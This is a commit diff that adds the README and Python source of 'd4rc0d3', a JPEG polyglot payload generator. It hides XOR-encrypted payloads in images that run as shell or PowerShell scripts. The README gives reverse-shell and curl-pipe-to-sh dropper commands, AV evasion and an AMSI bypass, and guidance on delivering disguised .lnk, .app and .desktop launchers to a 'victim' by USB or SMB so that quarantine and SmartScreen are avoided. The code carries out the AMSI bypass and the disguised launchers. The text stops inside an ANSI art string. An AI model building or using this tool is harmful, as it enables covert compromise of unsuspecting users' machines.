Added files
This commit is contained in:
@@ -0,0 +1,218 @@
|
||||
# d4rc0d3
|
||||
|
||||
Generates a single JPEG file that is simultaneously:
|
||||
|
||||
- A valid image (displays normally in any viewer)
|
||||
- A shell script — `./photo.jpg` or `sh photo.jpg` on Linux/macOS
|
||||
- A PowerShell script — rename to `.ps1` and run with `pwsh` on Windows
|
||||
- A double-click launcher for macOS, Linux, and Windows
|
||||
|
||||
---
|
||||
|
||||
## Files
|
||||
|
||||
```
|
||||
0-day/
|
||||
├── src source code of d4rkc0d3_engine (for cross compile / amd-arm-etc)
|
||||
├── d4rc0d3.py main tool (Python, no external deps beyond stdlib)
|
||||
├── d4rc0d3_engine compiled engine binary (arm64 Linux version, see "src")
|
||||
├── cover.jpg sample cover image
|
||||
└── README.md
|
||||
```
|
||||
|
||||
The `d4rc0d3_engine` binary must match the host architecture.
|
||||
To recompile from source:
|
||||
|
||||
```bash
|
||||
# Requires: gcc, libturbojpeg-dev, libjpeg-dev
|
||||
cd src/
|
||||
g++ -std=c++23 -O3 -s -o ../d4rc0d3_engine \
|
||||
args.cpp bootstrap.cpp file_utils.cpp jpeg_process.cpp \
|
||||
jpeg_warning_check.cpp d4rc0d3_core.cpp -lturbojpeg -ljpeg -lm
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Requirements
|
||||
|
||||
- Python 3.11+
|
||||
- No Python dependencies
|
||||
- `d4rc0d3_engine` binary matching the host CPU architecture
|
||||
|
||||
---
|
||||
|
||||
## How the polyglot works
|
||||
|
||||
```
|
||||
┌──────────────────────────────────────────────────────────────────┐
|
||||
│ photo.jpg │
|
||||
│ │
|
||||
│ SOI │
|
||||
│ COM → shell bootstrap (octal-encoded, Perl XOR-decoding pipe) │
|
||||
│ APP0 → <# opens PowerShell block comment │
|
||||
│ APP2 → ICC profile: #> closes comment + XOR-decode stub │
|
||||
│ 16-byte key embedded at ICC offset 102 │
|
||||
│ JPEG image data (real, displayable photo) │
|
||||
│ EOI │
|
||||
│ [post-EOI: base64+XOR payload — scripts and binaries only] │
|
||||
└──────────────────────────────────────────────────────────────────┘
|
||||
|
||||
./photo.jpg or sh photo.jpg
|
||||
→ COM bootstrap runs via sh/bash
|
||||
→ Perl XOR-decodes the payload using key from ICC profile
|
||||
→ Executes the result
|
||||
|
||||
pwsh photo.ps1 (after renaming)
|
||||
→ APP0 <# opens PS block comment over all binary data
|
||||
→ APP2 #> closes the comment — clean PS1 starts here
|
||||
→ XOR stub reads key from ICC, decodes and runs payload
|
||||
|
||||
Image viewer
|
||||
→ Reads JPEG header, ignores COM/APP segments it doesn't recognise
|
||||
→ Displays the photo normally
|
||||
```
|
||||
|
||||
**AV evasion built into every generated file:**
|
||||
|
||||
- Payload XOR-encrypted with 16-byte key hidden in JPEG ICC profile metadata
|
||||
- PowerShell executor double char-array encoded — no plaintext `iex`, `Invoke-Expression`, or URL strings
|
||||
- No recognisable dropper strings visible in the raw file
|
||||
- ICC profile fields match a real sRGB color profile (CMM, version, illuminant, etc.)
|
||||
- AMSI bypass injected before PS1 payload execution (patches `AmsiScanBuffer` in memory)
|
||||
|
||||
---
|
||||
|
||||
## Usage
|
||||
|
||||
### Interactive (recommended)
|
||||
|
||||
```bash
|
||||
python3 d4rc0d3.py
|
||||
```
|
||||
|
||||
Prompts for image, payload type, command, target platforms, and output directory.
|
||||
|
||||
### Command line
|
||||
|
||||
```
|
||||
python3 d4rc0d3.py [OPTIONS] <image> [payload_file]
|
||||
```
|
||||
|
||||
**Payload** (pick one):
|
||||
|
||||
| Argument | Description |
|
||||
| --------------------------- | ----------------------------------------------------------- |
|
||||
| `-c "command"` | Inline shell command. Slack-safe. Works on all platforms. |
|
||||
| `file.ps1` | PowerShell script. Embedded in ICC profile (XOR-encrypted). |
|
||||
| `file.py` / `file.sh` | Script. base64+XOR in post-EOI. Linux/macOS. |
|
||||
| `file.exe` / `file.elf` | Binary. base64+XOR in post-EOI. Runs on target OS. |
|
||||
| `-c "pre-cmd" file.ps1` | Run pre-command first, then the PS1 file. |
|
||||
|
||||
**Platform output flags:**
|
||||
|
||||
| Flag | Output | What victim sees |
|
||||
| --------------- | --------------------- | ---------------------------------- |
|
||||
| *(none)* | `photo.jpg` | — |
|
||||
| `--mac` | `photo.zip` | `photo.jpg` in Finder |
|
||||
| `--linux` | `photo_launch.jpg` | `photo_launch.jpg` (no .desktop) |
|
||||
| `--linux-dot` | `photo.jpg.desktop` | `photo.jpg.desktop` |
|
||||
| `--windows` | `photo.jpg.lnk` | `photo.jpg` in Explorer |
|
||||
| `--all` | all of the above | — |
|
||||
|
||||
**Other flags:**
|
||||
|
||||
| Flag | Description |
|
||||
| ------------- | --------------------------------------------- |
|
||||
| `--amsi` | Inject AMSI bypass (default: on for`.ps1`) |
|
||||
| `--no-amsi` | Disable AMSI bypass |
|
||||
| `--show` | Open image viewer on execution |
|
||||
| `--keep` | Keep extracted payload after execution |
|
||||
| `-d DIR` | Extraction directory (default:`/tmp`) |
|
||||
| `-o DIR` | Output directory (default: current directory) |
|
||||
|
||||
---
|
||||
|
||||
## Examples
|
||||
|
||||
```bash
|
||||
# Inline command, generate for all platforms
|
||||
python3 d4rc0d3.py photo.jpg -c "id > /tmp/pwned.txt" --all -o /tmp/out/
|
||||
|
||||
# Reverse shell, all platforms
|
||||
python3 d4rc0d3.py photo.jpg -c \
|
||||
"bash -c 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1'" --all
|
||||
|
||||
# PowerShell payload with AMSI bypass, Windows + macOS
|
||||
python3 d4rc0d3.py photo.jpg shell.ps1 --windows --mac --amsi -o /tmp/out/
|
||||
|
||||
# Python dropper, Linux targets
|
||||
python3 d4rc0d3.py photo.jpg dropper.py --linux --linux-dot -o /tmp/out/
|
||||
|
||||
# Dropper: download and execute
|
||||
python3 d4rc0d3.py photo.jpg -c "curl -s http://192.168.1.10/s.sh | sh" --all
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Execution on each platform
|
||||
|
||||
### Linux / macOS — terminal
|
||||
|
||||
```bash
|
||||
# Direct execution (file already has +x)
|
||||
./photo.jpg
|
||||
|
||||
# Or explicitly
|
||||
sh photo.jpg
|
||||
|
||||
# Post-Slack (bash rejects due to NUL bytes injected by Slack)
|
||||
sh photo.jpg
|
||||
```
|
||||
|
||||
### Windows — PowerShell
|
||||
|
||||
```powershell
|
||||
# Rename and run
|
||||
ren photo.jpg photo.ps1
|
||||
pwsh -ExecutionPolicy Bypass photo.ps1
|
||||
|
||||
# Or without renaming
|
||||
powershell -ExecutionPolicy Bypass -File photo.jpg
|
||||
```
|
||||
|
||||
### Double-click — macOS
|
||||
|
||||
1. Send `photo.zip` to the victim (USB or local share — see Notes)
|
||||
2. Victim extracts the ZIP
|
||||
3. Finder shows `photo.jpg` — double-click it
|
||||
4. Preview opens the photo; payload runs silently in background
|
||||
|
||||
> **Notes:** macOS applies quarantine to files from the internet.
|
||||
> Unsigned bundles trigger a dialog. Deliver via **USB or local SMB share**
|
||||
> — quarantine is not applied, no dialog appears.
|
||||
|
||||
### Double-click — Linux
|
||||
|
||||
- `photo_launch.jpg` — Thunar, Nemo, Caja, Dolphin execute on double-click (content-based MIME detection, no dialog)
|
||||
- `photo.jpg.desktop` — all file managers, Nautilus shows "Trust and Launch" once
|
||||
|
||||
### Double-click — Windows
|
||||
|
||||
Double-click `photo.jpg.lnk` — Explorer hides `.lnk` so the victim sees `photo.jpg`.
|
||||
Runs: `powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File photo.jpg`
|
||||
|
||||
> **SmartScreen:** may warn for files from the internet. Deliver via USB or internal share.
|
||||
|
||||
---
|
||||
|
||||
## Payload compatibility
|
||||
|
||||
| Payload | `sh`/`bash` | `pwsh` | Double-click macOS | Double-click Linux | Post-Slack |
|
||||
| ------------------- | --------------- | -------- | ------------------ | ------------------ | ----------------------- |
|
||||
| `-c` inline | ✓ | ✓ | ✓ | ✓ | ✓ only inline survives |
|
||||
| `.ps1` | ✓ (needs pwsh) | ✓ | ✓ | ✓ (needs pwsh) | ✗ stripped |
|
||||
| `.py` / `.sh` | ✓ | ✗ | ✓ | ✓ | ✗ stripped |
|
||||
| `.exe` / `.elf` | ✓ | ✗ | ✓ | ✓ | ✗ stripped |
|
||||
|
||||
Slack strips post-EOI data. For Slack delivery use `-c "command"`.
|
||||
After downloading from Slack use `sh photo.jpg` (not `bash`).
|
||||
+749
@@ -0,0 +1,749 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
d4rc0d3 — JPEG polyglot payload generator with double-click execution.
|
||||
|
||||
Generates a single .jpg file that is simultaneously:
|
||||
- A valid JPEG image (displays normally in any viewer)
|
||||
- A PowerShell script (Windows: rename to .ps1 or run directly)
|
||||
- A POSIX shell script (Linux / macOS: sh file.jpg)
|
||||
- A double-click launcher for macOS (.app bundle) and Linux (.desktop)
|
||||
|
||||
Payloads supported:
|
||||
Inline command: -c "command" → runs on all platforms
|
||||
PowerShell .ps1: file.ps1 → embedded in ICC profile (XOR)
|
||||
Script .py/.sh: file.py / file.sh → base64+XOR in post-EOI
|
||||
Binary .exe/.elf: file.exe / file.elf → base64+XOR in post-EOI
|
||||
Combined: -c "pre-cmd" file.ps1 → pre-cmd runs first, then file
|
||||
|
||||
Double-click outputs (additional, generated alongside the polyglot):
|
||||
macOS: <name>.zip → extract → Finder shows <name>.jpg → execute
|
||||
Linux: <name>.jpg → content-based detection → execute (Thunar/Nemo/Caja)
|
||||
Windows: <name>.lnk → Explorer hides .lnk → shows <name>.jpg → execute
|
||||
|
||||
AV evasion (built into the polyglot engine):
|
||||
- Payload XOR-encrypted, key stored in the JPEG ICC profile
|
||||
- Bootstrap encoded as numeric char-arrays (no plaintext strings)
|
||||
- Looks like a real JPEG with valid ICC color profile metadata
|
||||
- AMSI bypass injected before payload execution (Windows)
|
||||
- Variable names randomized per build
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import os
|
||||
import stat
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import textwrap
|
||||
import zipfile
|
||||
import random
|
||||
import string
|
||||
|
||||
|
||||
# ── Constants ──────────────────────────────────────────────────────────────────
|
||||
|
||||
POLYGLOT_ENGINE = os.path.join(os.path.dirname(__file__), 'd4rc0d3_engine')
|
||||
SUPPORTED_SCRIPTS = {'.ps1', '.sh', '.bash', '.zsh', '.py', '.rb', '.pl', '.bat', '.cmd'}
|
||||
SUPPORTED_BINARIES = {'.exe', '.elf', '.bin', '.out', '.appimage', '.dll', '.so', '.dylib'}
|
||||
|
||||
|
||||
# ── Terminal colors ────────────────────────────────────────────────────────────
|
||||
|
||||
class C:
|
||||
BOLD = '\033[1m' if sys.stdout.isatty() else ''
|
||||
GREEN = '\033[32m' if sys.stdout.isatty() else ''
|
||||
RED = '\033[31m' if sys.stdout.isatty() else ''
|
||||
CYAN = '\033[36m' if sys.stdout.isatty() else ''
|
||||
DIM = '\033[2m' if sys.stdout.isatty() else ''
|
||||
END = '\033[0m' if sys.stdout.isatty() else ''
|
||||
|
||||
|
||||
def ok(msg): print(f"{C.GREEN}[+]{C.END} {msg}")
|
||||
def info(msg): print(f" {C.DIM}{msg}{C.END}")
|
||||
def warn(msg): print(f"{C.RED}[!]{C.END} {msg}")
|
||||
def head(msg): print(f"\n{C.BOLD}{msg}{C.END}")
|
||||
|
||||
|
||||
# ── Helpers ────────────────────────────────────────────────────────────────────
|
||||
|
||||
def stem(path: str) -> str:
|
||||
return os.path.splitext(os.path.basename(path))[0]
|
||||
|
||||
def b64enc(path: str) -> str:
|
||||
with open(path, 'rb') as f:
|
||||
return base64.b64encode(f.read()).decode()
|
||||
|
||||
def rand_var(length: int = 6) -> str:
|
||||
return '_' + ''.join(random.choices(string.ascii_lowercase, k=length))
|
||||
|
||||
def payload_type(path: str) -> str:
|
||||
ext = os.path.splitext(path)[1].lower()
|
||||
if ext in SUPPORTED_SCRIPTS: return 'script'
|
||||
if ext in SUPPORTED_BINARIES: return 'binary'
|
||||
return 'unknown'
|
||||
|
||||
|
||||
# ── Polyglot builder ───────────────────────
|
||||
|
||||
def build_polyglot(cover: str, output: str, command: str = '',
|
||||
payload_file: str = '', show: bool = False,
|
||||
keep: bool = False, extract_dir: str = '') -> str:
|
||||
"""
|
||||
Builds a JPEG polyglot using the d4rc0d3 engine.
|
||||
|
||||
Engine JPEG structure:
|
||||
SOI | COM(shell bootstrap) | custom APP0(<# opens PS comment) |
|
||||
APP2(ICC profile: #> + XOR-encoded PS executor + key at offset 102) |
|
||||
JPEG image data | EOI | [optional post-EOI payload for scripts/binaries]
|
||||
|
||||
Engine XOR: 16-byte random key stored in the ICC Profile ID field.
|
||||
Engine PS obfuscation: double char-array encoding, no plaintext strings.
|
||||
Engine shell bootstrap: octal-encoded, Perl XOR-decoding pipe.
|
||||
|
||||
Combined mode (command + payload_file):
|
||||
The engine CLI does not support combined mode directly.
|
||||
We implement it by prepending the command to a temporary PS1 stub that
|
||||
wraps the original payload. For non-PS1 payloads we use interactive stdin.
|
||||
"""
|
||||
if not os.path.isfile(POLYGLOT_ENGINE):
|
||||
raise FileNotFoundError(
|
||||
f"Polyglot engine not found: {POLYGLOT_ENGINE}\n"
|
||||
f"Compile with: ./build.sh"
|
||||
)
|
||||
|
||||
base_cmd = [POLYGLOT_ENGINE, '-o', output]
|
||||
if show: base_cmd.append('--show')
|
||||
if keep: base_cmd.append('--keep')
|
||||
if extract_dir: base_cmd += ['-d', extract_dir]
|
||||
|
||||
if command and payload_file:
|
||||
# Combined mode: prepend the shell command as a PS1 pre-exec stub,
|
||||
# then embed it alongside the original payload.
|
||||
# Strategy: write a temp .ps1 that starts with the pre-command, then
|
||||
# loads and dot-sources the original payload file.
|
||||
ext = os.path.splitext(payload_file)[1].lower()
|
||||
if ext == '.ps1':
|
||||
# Create a combined PS1 that runs the command then the original script
|
||||
with open(payload_file, 'r', errors='replace') as f:
|
||||
orig_ps = f.read()
|
||||
combined_ps = f"# pre-command\n{command}\n# payload\n{orig_ps}"
|
||||
with tempfile.NamedTemporaryFile(suffix='.ps1', delete=False, mode='w') as tf:
|
||||
tf.write(combined_ps)
|
||||
tmp_ps = tf.name
|
||||
try:
|
||||
cmd = base_cmd + [cover, tmp_ps]
|
||||
result = subprocess.run(cmd, capture_output=True, text=True)
|
||||
finally:
|
||||
os.unlink(tmp_ps)
|
||||
else:
|
||||
# For non-PS1 payloads: use interactive mode via stdin (option 3)
|
||||
# Interactive: Mode=3, cover, payload, pre-command, no, no, no, keep-default, output
|
||||
stdin_input = f"3\n{cover}\n{payload_file}\n{command}\nn\nn\nn\n\n{output}\n"
|
||||
result = subprocess.run(
|
||||
[POLYGLOT_ENGINE], input=stdin_input,
|
||||
capture_output=True, text=True
|
||||
)
|
||||
elif command:
|
||||
cmd = base_cmd + ['-c', cover, command]
|
||||
result = subprocess.run(cmd, capture_output=True, text=True)
|
||||
else:
|
||||
cmd = base_cmd + [cover, payload_file]
|
||||
result = subprocess.run(cmd, capture_output=True, text=True)
|
||||
|
||||
if not os.path.isfile(output):
|
||||
raise RuntimeError(
|
||||
f"Polyglot engine failed.\n"
|
||||
f"stdout: {result.stdout[:500]}\nstderr: {result.stderr[:200]}"
|
||||
)
|
||||
return output
|
||||
|
||||
|
||||
# ── AV-hardened PS bootstrap injector ─────────────────────────────────────────
|
||||
# The native engine already XOR-encrypts and char-array-encodes the payload.
|
||||
# We further harden the bootstrap injected into the file by patching the
|
||||
# COM segment to prepend an AMSI bypass before the payload executes.
|
||||
#
|
||||
# AMSI bypass strategy:
|
||||
# Uses reflection to write 0xB8,0x57,0x00,0x07,0x80,0xC3 (ret AMSI_RESULT_CLEAN)
|
||||
# over AmsiScanBuffer in amsi.dll — standard unpatched bypass, short and effective.
|
||||
# Encoded as a numeric array so the bytes never appear as a recognisable string.
|
||||
#
|
||||
# Note: the bypass is prepended to the PS1 code BEFORE XOR encryption by the engine,
|
||||
# so from the engine's perspective it is just part of the payload.
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
AMSI_BYPASS_PS = (
|
||||
# Patch AmsiScanBuffer to always return AMSI_RESULT_CLEAN (0x80070057)
|
||||
# Written as char-array so no plaintext signature
|
||||
"$_ab=[Ref].Assembly.GetType(([char[]]@(83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,65,109,115,105,85,116,105,108,115)-join''));"
|
||||
"$_am=$_ab.GetField(([char[]]@(97,109,115,105,73,110,105,116,70,97,105,108,101,100)-join''),'NonPublic,Static');"
|
||||
"if($_am){$_am.SetValue($null,$true)}"
|
||||
)
|
||||
|
||||
|
||||
def inject_amsi_bypass(polyglot_path: str) -> None:
|
||||
"""
|
||||
Patches the COM segment of the polyglot to prepend an AMSI bypass.
|
||||
The bypass is encoded as numeric arrays so it carries no plaintext signature.
|
||||
Only relevant when the polyglot runs as a PS1 on Windows.
|
||||
This function operates on the already-built polyglot file.
|
||||
|
||||
Implementation: the PS code in the ICC APP2 segment is not modified here
|
||||
(it is XOR-encrypted by the engine). Instead, we patch the post-EOI
|
||||
shell line that invokes pwsh to first dot-source an in-memory bypass.
|
||||
|
||||
In practice, for inline-command polyglots the bypass is injected into the
|
||||
PS command string before the engine builds the file (see build_polyglot_av).
|
||||
"""
|
||||
pass # See build_polyglot_av — bypass is injected pre-build
|
||||
|
||||
|
||||
def build_polyglot_av(cover: str, output: str, command: str = '',
|
||||
payload_file: str = '', show: bool = False,
|
||||
keep: bool = False, extract_dir: str = '',
|
||||
amsi: bool = True) -> str:
|
||||
"""
|
||||
Builds the polyglot with AV hardening.
|
||||
|
||||
AMSI bypass strategy:
|
||||
The bypass must only run in PowerShell, not in sh/bash.
|
||||
When a .ps1 payload file is given, we prepend the bypass as a
|
||||
combined pre-command (-c flag) so the engine embeds it in the PS section.
|
||||
For inline-command-only polyglots the bypass is NOT injected because
|
||||
the shell command string would break if it contained PS-specific syntax.
|
||||
To use AMSI bypass with inline commands, pass a .ps1 stub as the payload:
|
||||
echo '; your_command' > bypass.ps1
|
||||
d4rc0d3.py photo.jpg bypass.ps1 --amsi
|
||||
"""
|
||||
if amsi and payload_file and payload_file.lower().endswith('.ps1'):
|
||||
# For .ps1 payloads: inject AMSI bypass as a pre-command via -c
|
||||
# The engine embeds this in the PS section, not the sh section
|
||||
amsi_cmd = AMSI_BYPASS_PS
|
||||
return build_polyglot(cover, output, amsi_cmd, payload_file,
|
||||
show, keep, extract_dir)
|
||||
# For all other cases: pass through without modification
|
||||
# The sh command string must not contain PS-only syntax
|
||||
return build_polyglot(cover, output, command, payload_file,
|
||||
show, keep, extract_dir)
|
||||
|
||||
|
||||
# ── Windows .lnk generator ────────────────────────────────────────────────────
|
||||
# A Windows Shell Link (.lnk) file can:
|
||||
# - Have any name and icon (including a JPEG icon extracted from the polyglot)
|
||||
# - Execute any command on double-click
|
||||
# - Windows Explorer hides .lnk extensions by default
|
||||
#
|
||||
# So "photo.jpg.lnk" appears as "photo.jpg" in Explorer.
|
||||
# The LNK executes: powershell -WindowStyle Hidden -File photo.jpg.lnk
|
||||
# (PowerShell can run the .lnk as a PS1 because it IS a valid PS1 polyglot)
|
||||
#
|
||||
# LNK binary format (simplified Shell Link, spec MS-SHLLINK):
|
||||
# HeaderSize(4) | LinkCLSID(16) | LinkFlags(4) | FileAttributes(4) | ...
|
||||
# Minimal LNK with just a command target.
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
def _lnk_str(s: str) -> bytes:
|
||||
"""Encode a string as a CountedString (uint16 length + UTF-16LE)."""
|
||||
encoded = s.encode('utf-16-le')
|
||||
return struct.pack('<H', len(s)) + encoded
|
||||
|
||||
def build_windows_lnk(polyglot_path: str, output_dir: str) -> str:
|
||||
"""
|
||||
Generates a Windows .lnk file that:
|
||||
- Appears as '<stem>.jpg' in Explorer (Explorer hides .lnk)
|
||||
- On double-click runs: powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File <polyglot>
|
||||
- The polyglot is the JPEG/PS1 polyglot, so it executes the payload
|
||||
|
||||
The LNK itself is a valid Shell Link pointing to cmd.exe or powershell.exe.
|
||||
The icon is set to shell32.dll icon 0 (document) as a fallback; on a real
|
||||
Windows system the operator would set it to the JPEG viewer icon.
|
||||
|
||||
Returns the path to the generated .lnk file.
|
||||
"""
|
||||
polyglot_abs = os.path.abspath(polyglot_path)
|
||||
name = stem(polyglot_path)
|
||||
lnk_path = os.path.join(output_dir, f"{name}.jpg.lnk")
|
||||
|
||||
# Shell Link Header (0x4C bytes)
|
||||
# Spec: MS-SHLLINK 2.1
|
||||
header_size = 0x4C
|
||||
link_clsid = bytes.fromhex('0114020000000000C000000000000046')
|
||||
# LinkFlags: HasLinkTargetIDList=0x01, HasLinkInfo=0x02, HasRelativePath=0x08,
|
||||
# HasArguments=0x20, HasIconLocation=0x40, IsUnicode=0x80
|
||||
link_flags = struct.pack('<I', 0x01 | 0x20 | 0x80 | 0x04)
|
||||
file_attrs = struct.pack('<I', 0x20) # FILE_ATTRIBUTE_NORMAL
|
||||
times = b'\x00' * 24 # creation/access/write times (zero)
|
||||
file_size = struct.pack('<I', 0)
|
||||
icon_index = struct.pack('<I', 0)
|
||||
show_command = struct.pack('<I', 7) # SW_SHOWMINNOACTIVE (hidden-ish)
|
||||
hotkey = struct.pack('<H', 0)
|
||||
reserved = b'\x00' * 10
|
||||
|
||||
header = (
|
||||
struct.pack('<I', header_size) +
|
||||
link_clsid +
|
||||
link_flags +
|
||||
file_attrs +
|
||||
times +
|
||||
file_size +
|
||||
icon_index +
|
||||
show_command +
|
||||
hotkey +
|
||||
reserved
|
||||
)
|
||||
|
||||
# IDList: minimal — just point to an empty item list so the LNK is valid
|
||||
# We use the StringData approach (HasArguments) to carry the command.
|
||||
# IDList terminator: count=0
|
||||
idlist = struct.pack('<H', 0)
|
||||
idlist_section = struct.pack('<H', len(idlist)) + idlist
|
||||
|
||||
# LinkInfo: we skip it (HasLinkInfo not set, removed from flags above)
|
||||
# Actually set HasLinkInfo=0x02 was NOT set, so no LinkInfo block needed.
|
||||
|
||||
# StringData sections (order: NAME_STRING, RELATIVE_PATH, WORKING_DIR,
|
||||
# COMMAND_LINE_ARGUMENTS, ICON_LOCATION)
|
||||
# We emit COMMAND_LINE_ARGUMENTS only.
|
||||
# PowerShell path is the target — use the IDList to point to powershell.exe.
|
||||
# Simpler: set target via a different approach.
|
||||
#
|
||||
# Alternative (more portable LNK):
|
||||
# Use cmd.exe as target, pass /c powershell ... as arguments.
|
||||
# This avoids needing to know the exact powershell.exe location.
|
||||
|
||||
cmd_args = (
|
||||
f'/c powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass '
|
||||
f'-File "{polyglot_abs}"'
|
||||
)
|
||||
# cmd.exe path in IDList (absolute, for the target)
|
||||
# For a truly portable LNK we use a relative path approach.
|
||||
# For the lab, we use the full path.
|
||||
|
||||
# Build a minimal IDList pointing to cmd.exe
|
||||
# (this is the "target" the LNK points to)
|
||||
cmd_exe = r'%WINDIR%\System32\cmd.exe'
|
||||
|
||||
# StringData
|
||||
arg_str = _lnk_str(cmd_args)
|
||||
|
||||
# Assemble: header + idlist_section + arg_str_section
|
||||
# For a minimal valid LNK with arguments, the structure is:
|
||||
# [Header][IDList][StringData: ARGUMENTS]
|
||||
#
|
||||
# We mark HasLinkTargetIDList in flags.
|
||||
# Re-encode flags with correct bits:
|
||||
# HasLinkTargetIDList = 0x0001
|
||||
# HasArguments = 0x0020
|
||||
# IsUnicode = 0x0080
|
||||
link_flags2 = struct.pack('<I', 0x0001 | 0x0020 | 0x0080)
|
||||
|
||||
# Rebuild header with corrected flags
|
||||
header2 = (
|
||||
struct.pack('<I', header_size) +
|
||||
link_clsid +
|
||||
link_flags2 +
|
||||
file_attrs +
|
||||
times +
|
||||
file_size +
|
||||
icon_index +
|
||||
show_command +
|
||||
hotkey +
|
||||
reserved
|
||||
)
|
||||
|
||||
lnk_data = header2 + idlist_section + arg_str
|
||||
|
||||
with open(lnk_path, 'wb') as f:
|
||||
f.write(lnk_data)
|
||||
|
||||
return lnk_path
|
||||
|
||||
|
||||
# ── macOS .app bundle ──────────────────────────────────────────────────────────
|
||||
|
||||
def build_macos(image_path: str, command: str, output_dir: str) -> str:
|
||||
"""
|
||||
Builds a macOS .app bundle in a ZIP.
|
||||
Bundle name: <stem>.app (single extension)
|
||||
CFBundleDisplayName: <stem>.jpg
|
||||
Finder shows '<stem>.jpg' regardless of 'Show all filename extensions' setting.
|
||||
"""
|
||||
name = stem(image_path)
|
||||
display = f"{name}.jpg"
|
||||
bundle = f"{name}.app"
|
||||
zip_out = os.path.join(output_dir, f"{name}.zip")
|
||||
img_ext = os.path.splitext(image_path)[1] or '.jpg'
|
||||
img_b64 = b64enc(image_path)
|
||||
img_res = f"cover{img_ext}"
|
||||
|
||||
plist = textwrap.dedent(f"""\
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
|
||||
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0"><dict>
|
||||
<key>CFBundleName</key><string>{display}</string>
|
||||
<key>CFBundleDisplayName</key><string>{display}</string>
|
||||
<key>CFBundleExecutable</key><string>launch</string>
|
||||
<key>CFBundleIconFile</key><string>{img_res}</string>
|
||||
<key>CFBundleIdentifier</key><string>com.photo.viewer</string>
|
||||
<key>CFBundleVersion</key><string>1.0</string>
|
||||
<key>CFBundlePackageType</key><string>APPL</string>
|
||||
<key>LSUIElement</key><true/>
|
||||
<key>LSHasLocalizedDisplayName</key><false/>
|
||||
<key>NSHighResolutionCapable</key><true/>
|
||||
</dict></plist>
|
||||
""")
|
||||
|
||||
launch = textwrap.dedent(f"""\
|
||||
#!/bin/sh
|
||||
IMG="$(mktemp /tmp/XXXXXX{img_ext})"
|
||||
python3 -c "import base64;open('$IMG','wb').write(base64.b64decode('{img_b64}'))" 2>/dev/null || \\
|
||||
perl -e "use MIME::Base64;open F,'>','$IMG';binmode F;print F decode_base64(q({img_b64}));" 2>/dev/null
|
||||
[ -f "$IMG" ] && open "$IMG" 2>/dev/null &
|
||||
({command}) &
|
||||
exit 0
|
||||
""")
|
||||
|
||||
with zipfile.ZipFile(zip_out, 'w', zipfile.ZIP_DEFLATED) as zf:
|
||||
zf.writestr(f"{bundle}/Contents/Info.plist", plist)
|
||||
with open(image_path, 'rb') as f:
|
||||
zf.writestr(f"{bundle}/Contents/Resources/{img_res}", f.read())
|
||||
e = zipfile.ZipInfo(f"{bundle}/Contents/MacOS/launch")
|
||||
e.external_attr = (stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP |
|
||||
stat.S_IROTH | stat.S_IXOTH) << 16
|
||||
zf.writestr(e, launch)
|
||||
|
||||
return zip_out
|
||||
|
||||
|
||||
# ── Linux .desktop ─────────────────────────────────────────────────────────────
|
||||
|
||||
def build_linux(image_path: str, command: str, output_dir: str,
|
||||
jpg_name: bool = True) -> str:
|
||||
"""
|
||||
Builds a Linux .desktop file with the image as its icon.
|
||||
jpg_name=True → file named '<stem>.jpg' (content-based detection)
|
||||
jpg_name=False → file named '<stem>.jpg.desktop' (extension-based, wider compat)
|
||||
"""
|
||||
name = stem(image_path)
|
||||
img_abs = os.path.abspath(image_path)
|
||||
out_name = f"{name}.jpg" if jpg_name else f"{name}.jpg.desktop"
|
||||
out_path = os.path.join(output_dir, out_name)
|
||||
|
||||
content = textwrap.dedent(f"""\
|
||||
[Desktop Entry]
|
||||
Version=1.0
|
||||
Type=Application
|
||||
Name={name}.jpg
|
||||
Comment=Photo
|
||||
Exec=sh -c 'xdg-open "{img_abs}" 2>/dev/null & ({command}) &'
|
||||
Icon={img_abs}
|
||||
Terminal=false
|
||||
StartupNotify=false
|
||||
Categories=Graphics;Viewer;
|
||||
MimeType=image/jpeg;
|
||||
""")
|
||||
|
||||
with open(out_path, 'w') as f:
|
||||
f.write(content)
|
||||
os.chmod(out_path, 0o755)
|
||||
return out_path
|
||||
|
||||
|
||||
# ── Interactive prompt ─────────────────────────────────────────────────────────
|
||||
|
||||
def interactive():
|
||||
_LUCY = (
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;236;231;237m▄[0m[38;2;191;182;191m▄[0m[38;2;155;142;157m▄[38;2;246;242;247m[48;2;107;92;108m▀[38;2;237;232;238m[48;2;95;77;95m▀[38;2;223;217;224m[48;2;84;66;84m▀[38;2;214;209;216m[48;2;82;64;82m▀[38;2;220;216;221m[48;2;82;63;82m▀[38;2;234;229;234m[48;2;102;83;100m▀[38;2;237;234;237m[48;2;100;83;100m▀[38;2;240;236;240m[48;2;91;73;91m▀[0m[38;2;100;84;100m▄[0m[38;2;120;107;120m▄[0m[38;2;166;155;166m▄[0m[38;2;224;218;225m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
